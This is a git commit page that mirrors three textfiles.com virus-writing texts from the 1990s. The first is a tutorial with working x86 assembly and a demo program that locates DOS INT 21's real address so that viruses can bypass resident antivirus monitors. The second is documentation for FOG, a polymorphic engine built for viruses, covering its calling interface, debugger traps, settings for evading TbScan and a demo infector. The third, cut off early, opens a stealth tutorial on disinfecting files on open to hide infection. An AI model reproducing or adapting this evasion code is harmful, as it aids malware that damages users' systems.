info/mirror-textfiles.com
1
0
Fork 0
mirror of https://github.com/opsxcq/mirror-textfiles.com.git synced 2025-08-06 16:26:33 +02:00
Code Issues Releases Wiki Activity

update

Browse Source
This commit is contained in:
OPSXCQ
2018-03-16 23:04:53 -03:00
parent 88a2076a38
commit b1044beb6e
112 changed files with 40703 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

376
textfiles.com/virus/fndint21.txt Normal file
View File

@@ -0,0 +1,376 @@
FINDING INT 21's REAL ADDRESS USING THE PSP
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
by Satan's Little Helper
DESCRIPTION
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
The real address of interrupt 21 is useful to almost
all viruses it enables viruses to bypass resident monitoring
software loaded as device drivers or TSR's. This article will
demonstrate a method by which you can obtain the real address
of INT 21 by using the entry at offset 6 in the PSP segment.
PSP:6 contains a double-word pointing (hopefully) to the
dos dispatch handler (this is different from the INT 21
handler). Then *optionally* the dispatch handler has a series
of jumps (opcode=0EAh) then it will either a) point to the
dos dispatch handler or b) the double-NOP call construct used
in some DOS versions which will then point to (a).
The dos dispatch handler and int 21 handler in memory appear
like this:
dos_dispatch_handler:
0000 1E push ds
0001 2E: 8E 1E 3DE7 mov ds,word ptr cs:[3DE7h]
0006 8F 06 05EC pop word ptr ds:[5ECh]
000A 58 pop ax
000B 58 pop ax
000C 8F 06 0584 pop word ptr ds:[584h]
0010 9C pushf
0011 FA cli
0012 50 push ax
0013 FF 36 0584 push word ptr ds:[584h]
0017 FF 36 05EC push word ptr ds:[5ECh]
001B 1F pop ds
001C 80 F9 24 cmp cl,24h
001F 77 DC ja $-22h
0021 8A E1 mov ah,cl
0023 EB 06 jmp $+8
int21_handler:
0025 FA cli
0026 80 FC 6C cmp ah,6Ch
0029 77 D2 ja $-2Ch
002B 80 FC 33 cmp ah,33h
therefore:
int21_handler = dos_dispatch_handler + 25h
So the end result is we just find 'dos_dispatch_hndlr'
address then check that the opcodes are right (1E2E/FA80)
and then add (int21_handler-dos_dispatch_hndlr) to the
pointer to dos_dispatch_hndlr to get the INT 21 handler
address.
Simple! (read it again if you don't get it).
In the case of (b) occurring we just do the same except
the offset of the dispatch handler from the int 21
handler is different:
0000 90 nop
0001 90 nop
0002 E8 00E0 call $+0E3h
0005 2E: FF 2E 1062 jmp dword ptr cs:[1062h]
000A 90 nop
000B 90 nop
000C E8 00D6 call $+0D9h
000F 2E: FF 2E 1066 jmp dword ptr cs:[1066h]
int21_handler:
0014 90 nop
0015 90 nop
0016 E8 00CC call $+0CFh
0019 2E: FF 2E 106A jmp dword ptr cs:[106Ah]
001E 90 nop
001F 90 nop
0020 E8 00C2 call $+0C5h
0023 2E: FF 2E 106E jmp dword ptr cs:[106Eh]
0028 90 nop
0029 90 nop
002A E8 00B8 call $+0BBh
002D 2E: FF 2E 1072 jmp dword ptr cs:[1072h]
0032 90 nop
0033 90 nop
0034 E8 00AE call $+0B1h
0037 2E: FF 2E 1076 jmp dword ptr cs:[1076h]
003C 90 nop
003D 90 nop
003E E8 00A4 call $+0A7h
0041 2E: FF 2E 107A jmp dword ptr cs:[107Ah]
dos_dispatch_handler:
0046 90 nop
0047 90 nop
0048 E8 009A call $+9Dh
004B 2E: FF 2E 107E jmp dword ptr cs:[107Eh]
therefore:
int21_handler = dos_dispatch_handler - 32h
ADVANTAGES & DISADVANTAGES OF THIS METHOD
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
This method requires a very small amount of code and
can be made even more efficient than the code shown below.
Although untrappable it can be confused into tracing
into the resident monitor's trapping code. Much of the
logic of this method is hard coded so changes in the
opcodes (from TSR AV utilities) will be able to trick it
into thinking it has found the correct address (this
requires use of the double-NOP signatures).
AV developers appear to be reluctant to modify their
software for specific viruses so may avoid placing the
sequence to confuse it into their software.
CODE
<20><><EFBFBD><EFBFBD>
This code is not designed to be size efficent it is designed
to be easy to understand.
;name: psp_trace
;in cond: ds=psp segment
;out cond: ds:bx=int 21 address if carry clear
; ds:bx=nothing if carry set.
;purpose: finds int 21 address using a PSP trace.
psp_trace:
lds bx,ds:[0006h] ;point to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
jnz check_dispatch
lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
cmp word ptr ds:[bx],9090h ;check for double-NOP signature
jnz trace_next
sub bx,32h ;32h byte offset from dispatch
;handler
cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
jnz check_dispatch
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
jnz bad_exit
add bx,25h ;25h byte offset from dispatch
cmp word ptr ds:[bx],80FAh ;check for cli, push ax
jz good_search
bad_exit:
stc
ret
NOTES
<20><><EFBFBD><EFBFBD><EFBFBD>
INT 30h and INT 31h contain *code* (not an address) to
jump to the dispatch handler so to trace using INT 30h/31h
you just set ds:bx to 0:c0 and call the trace_next in the
psp_trace routine.
Debug hex dump of INT 30/31 addresses in the IVT:
Immediate far JMP
____________
-d 0:c0 | |
0000:00C0 EA 28 00 02 01 FF 00 F0-0F 00 02 01 DF 0D 39 01
|_________| |_________|
INT 30 INT 31
addr addr
EA 28 00 02 01 = JMP 0102:0028
;name: int30_trace
;out cond: ds:bx=int 21 address if carry clear
; ds:bx=nothing if carry set.
;purpose: finds int 21 address using an INT 30/31 trace.
int30_trace:
xor bx,bx
mov ds,bx
mov bl,0c0h ;point to 0:0c0
jmp short trace_next
OTHER NOTES
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
After writing this I heard that the "MG" virus uses the same
technique, I have a sample of this virus and it does not use
the same technique.
TESTING
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
So far this has been tested on MSDOS 6.x, Novell Netware,
and IBM network software all resulting in positive tests.
Machines running DR DOS, Novell DOS, 4DOS, OS/2 and NT
could not be found. It is expected that this will not work
on *ALL* DOS-type platforms but that is why I implemented
error codes in the form of the carry flag being set/clear.
CONCLUSION
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
It has been shown that INT 30h/31h is slightly more
reliable than the PSP:6 address, so if a call to psp_trace
results in carry set then call int30_trace. The reason
you should call PSP trace first is that altering INT 30/31
is much easier than altering PSP:6 so it makes the AV do
more work ;)
CREDITS
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TaLoN - helped in working out offsets and told me
about int 30h/31h pointing to dispatch handler.
Lookout Man - tester
Aardvark - network tester
DEMO PROGRAM
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;-------8<--------cut here---------8<-------
comment |
TASM ASSEMBLY:
tasm psptest.asm
tlink /t psptest.obj
A86 ASSEMBLY:
a86 psptest.asm
|
.model tiny
.code
org 100h
start:
mov dx,offset psp_status
call print_str ;print "PSP trace: "
call psp_trace ;do the trace
jc bad_psp
print_status:
mov dx,offset ok_str ;print "Ok!"
call print_str
mov dx,offset psp_addr ;print "interrupt trace to: "
call print_str
push bx
mov bx,ds ;print segment
call bin_to_hex
call print_colon ;print ":"
pop bx
call bin_to_hex ;print offset
jmp do_int30
bad_psp:
mov dx,offset bad_str
call print_str
do_int30:
nop
nop
mov word ptr cs:do_int30,20CDh ;exit next time around
mov dx,offset i30_status
call print_str ;print "PSP trace: "
call int30_trace
jnc print_status
jmp short do_int30
print_str:
mov ah,9
push ds
push cs
pop ds
int 21h
pop ds
ret
psp_addr db 13,10,'Interrupt traced to: $'
psp_status db 13,10,'PSP trace : $'
i30_status db 13,10,'INT 30/31 trace: $'
ok_str db 'Ok!$'
bad_str db 'Failure$'
;name: psp_trace
;in cond: ds=psp segment
;out cond: ds:bx=int 21 address if carry clear
; ds:bx=nothing if carry set.
;purpose: finds int 21 address using a PSP trace.
psp_trace:
lds bx,ds:[0006h] ;point to dispatch handler
trace_next:
cmp byte ptr ds:[bx],0EAh ;is it JMP xxxx:xxxx ?
jnz check_dispatch
lds bx,ds:[bx+1] ;point to xxxx:xxxx of the JMP
cmp word ptr ds:[bx],9090h ;check for double-NOP signature
jnz trace_next
sub bx,32h ;32h byte offset from dispatch
;handler
cmp word ptr ds:[bx],9090h ;int 21 has same sig if it works
jnz check_dispatch
good_search:
clc
ret
check_dispatch:
cmp word ptr ds:[bx],2E1Eh ;check for push ds, cs: override
jnz bad_exit
add bx,25h ;25h byte offset from dispatch
cmp word ptr ds:[bx],80FAh ;check for cli, push ax
jz good_search
bad_exit:
stc
ret
;name: int30_trace
;out cond: ds:bx=int 21 address if carry clear
; ds:bx=nothing if carry set.
;purpose: finds int 21 address using an INT 30/31 trace.
int30_trace:
xor bx,bx
mov ds,bx
mov bl,0c0h ;point to 0:0c0
jmp short trace_next
bin_to_hex: ;will print number in BX as hex
push cx ;code stolen from KRTT demo
push dx
push ax
mov ch,4
rotate:
mov cl,4
rol bx,cl
mov al,bl
and al,0Fh
add al,30h
cmp al,'9'+1
jl print_it
add al,07h
print_it:
mov dl,al
mov ah,2
int 21h
dec ch
jnz rotate
pop ax
pop dx
pop cx
ret
print_colon:
mov ah,2
mov dl,':'
int 21h
ret
end start
;-------8<--------cut here---------8<-------

585
textfiles.com/virus/fog.txt Normal file
View File

@@ -0,0 +1,585 @@
FOG
A polymorphic encryption algorithm
by Eclipse
Disclaimer:
I have made this mutation engine for fun purposes only.
It is made for use in viruses, but not as to promote any
intentional harm or damage on computer systems.
This engine is dedicated to those of you out there who find the
concept of replicating programs fascinating. Trojan and
destructive virus writers: Get a life.
USAGE: CODE MODIFICATION INSTRUCTIONS
1. Enter the statement "extrn fog:near, fog_init:near, rnd:near"
into your code in your code segment. Its not really necessary to
include the "rnd" part if you do not need a random number generator
in your code. You might also find it handy to include the switch
definition file (switches.inc) in your code.
Example (ideal mode):
......
.model tiny
.radix 16
ideal
segment code word
assume cs:code, ds:code, es:code, ss:code
org 100h
extrn fog:near, fog_init:near, rnd:near ;here
include "switches.inc" ;and here
......
or (MASM simplified mode):
......
.model tiny
.radix 16
.code
org 100h
extrn fog:near, fog_init:near, rnd:near ;here
include switches.inc ;and here
......
or (MASM mode):
......
.model tiny
.radix 16
code segment word
assume cs:code, ds:code, es:code, ss:code
org 100h
extrn fog:near, fog_init:near, rnd:near ;here
include switches.inc ;and here
......
2. Initialise fog. Do so by calling fog_init with the appropriate
parameters:
AH : Debugger hostility switches (see below)
AL : Junk generation switches ( ---"--- )
CL : General switches ( ---"--- )
CS:DX : Code to encrypt
SI : Size of code to encrypt
DI : Where in the decrypted code control should be passed.
eg. if execution starts at the beginning of the code,
DI = 0.
Note that this initialization could be done only once, f.ex. at the
installation of a TSR virus, and later only be called when there was
need for updating the information, typically changing from COM to EXE
mutation mode.
On return from fog_init only one register will have changed;
CX = Max size of decryptor and encrypted code. This
will be the amount of bytes to stealth if you
are making a stealth virus and have specified
constant code size (sw_const_s) or if you want
a tip of how much memory you gonna need for
encryption, otherwise ignore.
Example:
....
mov ah, sw_prefetch or sw_int3
mov al, sw_015_gi
;or more efficiently:
;mov ax, (sw_prefetch or sw_int3) shl 8 or sw_015_gi
mov cl, sw_const_s
mov dx, cs:[myoffset]
mov si, sizeofvirus
xor di, di
call fog_init
....
3. Mutate by calling fog with the following parameters:
ES : Free segment. This is where the mutated code will be put.
Must contain enough memory for the encrypted code
and decryptor. When you define high junk generation, the
decryptor can be rather ...errr... massive...
BP : Offset of code. Eg. if you write the mutated code to the
end of a COM file, then BP should be set to filesize+100h.
Example:
....
mov bp, ax
add bp, 0100
mov ax, cs
dec ax, (bufferneeded+0fh)/10h
mov es, ax
call fog
mov ah, 40 ;CX = number of bytes, DS:DX = buffer
int 21
....
4. Take note of the register values on return from the
fog mutation algorithm:
DS:DX = ES:0 = Buffer where decryptor and encrypted code will
be found.
CX = Length of decryptor and encrypted code.
All other registers are preserved.
USAGE: MEMORY REQUIREMENTS
When calling fog you should make sure that you have an
encryption buffer big enough to accomodate even the largest
decryptors + your encrypted code. On its most demanding setting
(sw_255_gi / sw_maxhostile) fog will require approximately 16k
of memory. If you use fixed file size, the memory required can
be even more massive. However, if you reduce the junk generation,
fog will need much less memory.
When you call fog_init, CX will return the maximum size (in bytes)
needed.
Note: Take a look on what I do in AirRaid. I steal a temporary
block of memory just to do the encryption, without allocating
it. This will work nicely most of the time.
USAGE: ASSEMBLY INSTRUCTIONS
Fog is written in TASM 3.0 (C) Borland Inc. and is designed
to work with tasm and tasm-compatible assemblers.
To use the fog object module in your code:
tasm /m3 myvir.asm
tlink (/t) myvir fog
If you select to assemble fog down from the source, you should
use
tasm /m3 fog.asm
before linking the resultant object module into your code.
-------------------------------------------------------------------
The code size of FOG in its present condition is 55Bh (1371) bytes.
-------------------------------------------------------------------
If you modify the source, assemble with TASM /m3 /l and take a
look on top of the lst file; there will be a constant named
fogsize - this is FOG's effective length.
TECHNICAL OVERVIEW:
Fog constructs its decryptor in a stepwise manner.
The flow of execution when encrypting can be summarised like this:
* Choose Initialization strategy
* Choose Crypt strategy
* Choose Base updating strategy
* Choose Loopback strategy
(Decryptor and encryptor are finished here !!!)
* Add a jump to starting point in code, often this will be just a JMP 0.
* Encrypt main code
* If some alignment or static code size is chosen, pad the encrypted
code until it has the right size.
* Set all registers according to the correct feedback values, and
return to caller.
STRATEGIES:
**** Init Strategy ****
This is done by randomly choosing registers for key, base and count
and generate MOV reg, imm16 instructions with the appropriate numbers.
Junk (if selected) will be filled in between these instructions.
**** Crypt strategy ****
The standard crypto instruction will be of the type:
( The / separates options that are used with equal probability )
RND 1..15 * (XOR/SUB/ADD CS:/DS:/ES:/SS: [BX/SI/DI]/[BX/SI/DI+disp16], imm16/reg)
RND 0..7 * (ROL reg,1)
The segment overrides DS:/ES:/SS: will of course only be created in
COM file mode, in EXE mode only CS: will appear.
So decryptors can look like this:
XOR SS:[SI+0490],FD81 + junk
XOR CS:[SI+0490],DX "
ADD CS:[SI+0490],DX "
SUB CS:[SI+0490],8755 "
XOR ES:[SI+0490],5886 "
ADD SS:[SI+0490],770B "
ADD DS:[SI+0490],0322 "
ROL DX,1 "
ROL DX,1 "
ROL DX,1 "
or like this:
XOR SS:[BX],DX + junk
At the same time as the decryptor instructions are generated, the encryptor
is inversely built in the encryptor buffer.
As you will have noticed, the key is always word sized.
**** Base updating strategy ****
Base updating instructions can be of the type:
ADD reg, 2/-2
or
SUB reg, 2/-2
or
DEC reg
DEC reg
or
INC reg
INC reg
**** Loopback strategy ****
Loopbacks will look like this:
LOOP ...
or
DEC reg
JNZ .....
(The above will only be used if backwards jump is less than 128 bytes.)
or
DEC reg
JZ 03
JMP ....
or
DEC reg
JZ 05
MOV reg, offset ....
PUSH reg
RET
There are many more ways to do this, of course, use your
imagination and add some.
STRONG POINTS:
* Cryptographic toughness
FOG utilises a powerful mutation encryption algorithm, making
the encryptors very variable indeed. Cryptanalysis is going to
be hard on this one, as there is between 1 and 15 random
xor/sub/add/rol operations with different keys on each element
to be encrypted. With the change of just one constant in the
enclosed source this number can be much increased.
* Junk instruction generation
The junk instructions, generically generated by FOG, includes
instructions of 1, 2, 3, 4, 5 and even 2*7 bytes, and FOG can
generate up to 255 such junk instructions between *each*
good instruction. I've had test decryptors varying between
20 bytes and 10k (!).
* Configurable
FOG is configurable in most aspects. Based on what you tell it, it
will behave very differently from configuration to configuration.
Examples:
1. mov al, sw_nogarb
call fog_init
This will cause FOG to generate short decryptors without any garbage
or debugger hostile instructions at all. Turning off garbage also turns
off debugger hostility, so any value in AH will be ignored. The
encryption will however be just as strong as before, and the decryptor
will still mutate.
2. mov al, sw_007_gi
mov ah, sw_int3 or sw_prefetch
call fog_init
This setting will cause FOG to generate between 1 and 7 junk
instructions between each good one. Randomly interspersed in
these junk instructions will be some debugger hostile instructions,
in this case int 3's and prefetch traps. The int 3's are just
bothersome when debugging, the prefetch traps will fool the unin-
telligent debuggers and some of those programs who try to auto-
matically decrypt the encrypted code; TbClean crashes spectacularly.
3. mov al, sw_255_gi
mov ah, sw_debug
call fog_init
This setting will cause FOG to generate medium to very big
decryptors, as there will be between 1 and 255 garbage instructions
between each good instruction. However, setting ah to sw_debug causes
the garbage generated to not contain any debugger hostility at all,
and *no encryption will be performed*.
4. mov cl, (sw_r_garb or sw_r_host)
call fog_init
This will tell FOG to ignore any settings of AH or AL, and randomly
choose a setting for itself. Thus the setting may be one of extreme
garbage generation and/or hostility or the opposite. Note that FOG
will behave according to this until next time you call fog_init, and
another random setting will be chosen. If used in a virus, his would
have the effect that samples of one generation could be *totally*
different from samples of another generation
5. mov cl, sw_const_s
call fog_init
This will cause FOG to generate decryptor+encrypted code of
constant size each time you encrypt. This will be of use for
stealth virus production. Fog manages this by padding all
encryptions up to the point where it's very unlikely that a
bigger decryptor will be created. Note that with high junk
configuration there often will be a nauseatingly huge pad area
at the end of files.
6. mov cl, sw_align16
call fog_init
Some people make viruses that need to be padded up to a paragraph
border, for self recognition or other purposes. With this setting
FOG will do that.
7. mov cl, sw_align256
call fog_init
Same as previous, but with 256 byte page borders.
* Generic programming
This engine is released with the commented original source code.
It's of course possible to improve the engine, and it's relatively
easy to do so around its current framework. For instance is the garbage
generation modular, by adding another module and updating the jump
addresses FOG will spew out the new instructions just as easy and
randomly as those included in the source. You may also note the
vacant switches, where you may add more configurable options.
One of FOG's strongest points is just this; by releasing the source
it will mutate not just decryptors, but with time also it's own
functionality.
WEAK POINTS:
* Decryptor obviousness
Decryptors generated with this engine do not have any mechanisms to
hide that they are decryptors (except junk). They do not generate
any codesequence to fool scanners into believing that this is a
legitimate program. Thus, heuristic scanners may smell a rat,
especially TbScan when FOG uses low junk/hostility settings.
TbScan detects the presence of a decryptor and sometimes succeed
to decrypt the encrypted program. On high junk/hostility settings,
however, TbScan mostly chokes and dies. The prefetch traps generate
much noise, in the sense that they mess with memory and cause TbScan
to whip out @, 1, D and U flags galore. On rare occasions they also
cause the program to terminate or even hang. I have included jmp
instructions in the standard set of functions from FOG, however
these sometimes generate TbScan @ and J flags.
* Scanning vulnerability
When high debugger hostility is chosen, FOG generates fixed
codesequences that might be scanned for, particularly the
prefetch traps. This might be something to have in mind.
* Huuuuuuge decryptors
As mentioned before, with high garbage settings FOG may generate
very large decryptors indeed. This may cause not only a considerable
file growth, but also a noticeable timelag upon decrypting.
* Statistical analysis vulnerability
There is a chance that FOG will be vulnerable to statistical analysis.
I have not performed any statistical computations on FOG's decryptors
myself, but I think this might be done. However, scanners will have
a hard time detecting *all* FOG encrypted viruses, due to FOG's
variability.
THE DEMO VIRUSES:
Enclosed you will find the source and executables of different
versions of AirRaid, which is the demo virus for this engine.
AirRaid is a non-destructive resident *.com infector, made
specifically for this purpose. Its lameness is also by intent.
It will infect any *.com file (of proper size) executed. Infection
marker is 'AR' at byte 4 and 5 in the file.
The different versions are made to demonstrate the easy way you
can configure the virus to do what you want.
Ver 1. Plain virus, Fog not attached.
Ver 2. Fog attached, configured to no garbage.
Ver 3. Fog attached, configured to 15 garbage instructions,
max hostility, fixed length
Ver 4. Fog attached, configured to random garbage, random hostility.
SWITCHES (as defined in the switches.inc file):
AH AL
Debugger hostility F E D C B A 9 8 7 6 5 4 3 2 1 0 Junk generation
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> 1 junk instruction
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD> 3 junk instructions
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> 7 junk instructions
Use dos interrupts <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 15 junk instructions
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 31 junk instructions
Prefetch traps <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 63 junk instructions
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 127 junk instructions
Int 3 generation <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 255 junk instructions
CH CL
Internal switches F E D C B A 9 8 7 6 5 4 3 2 1 0 General switches
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> random junk
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD> random hostility
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD> exe file
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> constant size
Unused <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 256 byte alignment
Down decryptor <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 16 byte alignment
Use displacement <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Unused
No jumps allowed <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Unused
That's all for now. Take a look at the enclosed demo virus, AirRaid,
to see how FOG can be used.
ABOUT THE AUTHOR:
I am a tertiary student from Australia's Sunshine State of
Queensland. My interests include Rugby League, Cricket and
low-level programming. Normally concentrating on visual and
audio demonstrations, I turned my hand to polymorphism due to
the unique challenge of that type of coding. I will only
continue to pursue my virus programming career while the field
remains interesting.
HOW TO CONTACT THE AUTHOR:
You can only contact me via my friend Qark, who is has internet
access unlike myself.
Included in the original package there should be 12 files:
FOG .ASM Fog source code
FOG .DOC This file
FOG .OBJ Fog object module
SWITCHES.INC Switch definition include file
AIRRAID1.ASM AirRaid ver. 1 source
AIRRAID2.ASM AirRaid ver. 2 source
AIRRAID3.ASM AirRaid ver. 3 source
AIRRAID4.ASM AirRaid ver. 4 source
AIRRV1.ZIP AirRaid ver. 1 samples
AIRRV2.ZIP AirRaid ver. 2 samples
AIRRV3.ZIP AirRaid ver. 3 samples
AIRRV4.ZIP AirRaid ver. 4 samples
Any other file is not acknowledged by me.
Eclipse.
Queensland, Australia, June 1995.

254
textfiles.com/virus/fullstlt.txt Normal file
View File

@@ -0,0 +1,254 @@
% Full stealth tutorial by Blonde %
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
What follows is kinda tutorial of disinfection-stealth. It
doesn't cover any *redirection* stealth (such as the one Bluenine
in IR#6 uses), and quite frankly it might not be the best tutorial
the vx-community has seen, but we can always hope it's for some
gain to someone.
Alternative code how physical disinfection can be done is presented
in my Hybris virus, which also is a bit more optimized than this one :-).
Nevertheless, this is the very same technique my Petra.1308 virus used,
so atleast it works..
I've edited this one a bit (Yea, I know it doesn't look like I did,
but I did!) and well, we can always hope Mr.Blonde will write his
next tutorial in a sober-mode :-).
- The Unforgiven.
- Full Stealth or Disinfection on open -
Written by Blonde/Immortal Riot
Introduction
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Okey, this is for those guys who've already made an effective size-stealth
and want some more or those who just like reading ;)
Full stealth for me is when you completely remove the virus from the file.
Preferebly done when you open it. The idea behind this is ofcourse that it
will be harder to spot and it is for the common users, but thats all we want
isn't it?
What's very important when using disinfection is to infect on close or else
you'll of course end up with some major problems ;) Okey, this is a bit more
complex than the size stealth I discussed in my earlier article and I'm not
a teacher so this can be quite hard to understand.
I'll mainly go through the disinfection of a COM file, but with
